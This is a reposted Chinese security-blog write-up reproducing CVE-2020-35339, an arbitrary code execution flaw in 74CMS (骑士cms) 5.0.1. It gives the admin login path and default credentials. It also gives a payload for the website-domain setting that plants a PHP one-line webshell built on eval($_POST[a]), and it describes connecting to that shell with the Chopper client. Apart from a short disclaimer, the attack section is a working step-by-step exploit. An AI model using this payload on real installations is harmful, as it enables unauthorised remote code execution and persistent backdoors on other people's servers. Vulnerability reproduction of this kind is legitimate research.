CVE-2020-35339 骑士cms任意代码执行

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现 CVE-2020-35339 骑士cms任意代码执行

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费+开源专业人才招聘系统。由太原迅易科技有限公司于2009年正式推出。为个人求职和企业招聘提供信息化解决方案,骑士人才系统具备执行效率高、模板切换自由、后台管理功能灵活、模块功能强大等特点,自上线以来一直是职场人士、企业HR青睐的求职招聘平台。

图片[1]-CVE-2020-35339 骑士cms任意代码执行-安全小天地

0x03 漏洞复现

漏洞版本:

  • 74CMS 5.0.1

1.后台路径/index.php?m=Admin&c=index&a=login,默认密码adminadmin:adminadmin登录,在系统→网络配置→网站域名输入payload,即可在后台路径代码中插入一句话。

http://127.0.0.1/.\',eval($_POST[a]),\'/.com
图片[2]-CVE-2020-35339 骑士cms任意代码执行-安全小天地

2. 菜刀连接


http://x.x.x.x:45711/index.php?m=Admin&c=index&a=login
密码为a
图片[3]-CVE-2020-35339 骑士cms任意代码执行-安全小天地
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容